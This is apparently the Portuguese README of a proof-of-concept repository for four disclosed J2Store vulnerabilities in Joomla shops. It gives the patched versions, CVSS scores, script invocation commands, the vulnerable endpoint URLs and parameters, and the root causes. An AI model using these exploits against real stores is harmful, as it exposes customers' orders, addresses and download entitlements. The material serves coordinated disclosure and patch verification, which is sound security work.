
PoC para J2Store CVE-2026-67358–67362 (aviso de segurança da J2Commerce, ago. 2026)
Material de prova de conceito para quatro vulnerabilidades em com_j2store (J2Commerce J2Store), descobertas por Murrez e corrigidas em:
| Branch | Versão corrigida |
|---|---|
| J2Store 3.x |
| 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
Aviso oficial: Anúncio de Segurança do J2Commerce (2026-08-20)
| CVE | Problema | Auth | CVSS 4.0 | Severidade |
|---|---|---|---|---|
| CVE-2026-67359 | Itens de linha e totais do pedido sem autenticação via expressconfirm | Nenhuma | 8.7 | Alta |
| CVE-2026-67360 | IDOR reOrder entre clientes (carrinho/endereço da vítima na sessão do atacante) | Baixa (autenticado) | 8.7 | Alta |
| CVE-2026-67358 | updateHitCount consome a cota de download de outro cliente | Baixa (token de pedido de convidado) | 5.3 | Média |
| CVE-2026-67362 | Redirecionamento aberto nas tarefas do carrinho (setcurrency, addItem, applyCoupon, applyVoucher) | Nenhuma | 5.1 | Média |
Versão testada: J2Store Pro 4.1.5 no Joomla 5.x (laboratório local).
Somente para pesquisa de segurança autorizada e verificação de patches. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
pip install -r requirements.txt
Python 3.10+
URL base padrão do laboratório: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
Replays mínimos de Burp/curl: replay/
expressconfirmEndpoint: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
Quando não existe sessão de checkout ativa, qualquer order_id renderiza a página de confirmação do checkout expresso (itens de linha, quantidades, preços, totais) sem autenticação.
Causa raiz: components/com_j2store/controllers/checkouts.php — expressconfirm() usa o order_id fornecido pela requisição sem verificação de titularidade.
reOrderEndpoint: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
Um usuário autenticado com o order_id de uma vítima pode acionar o reorder: os itens de linha da vítima são copiados para o carrinho do atacante; os IDs de endereço de cobrança/entrega da vítima ficam armazenados na sessão do atacante.
Causa raiz: components/com_j2store/controllers/myprofile.php — reOrder() valida CSRF e login, mas não verifica $order->user_id.
updateHitCountEndpoint: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
Um convidado ou cliente com um par (order_id, token) válido próprio pode incrementar limit_count no orderdownload_id de outro pedido. Nenhum token CSRF é necessário.
Causa raiz: components/com_j2store/controllers/myprofile.php — o token é verificado apenas contra o pedido do chamador; orderdownload_id não está vinculado a esse pedido.
Tarefas: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
Parâmetros redirect / return codificados em Base64 são decodificados e passados para $app->redirect() sem allowlist de hosts. JRoute::_() não bloqueia URLs externas absolutas.
Causa raiz: components/com_j2store/controllers/carts.php
Problemas 1, 2, 3 e 5 do aviso do fornecedor — Murrez ([email protected]).
Divulgação coordenada por meio do J2Commerce e da Joomla Security Strike Team.
MIT — consulte LICENSE.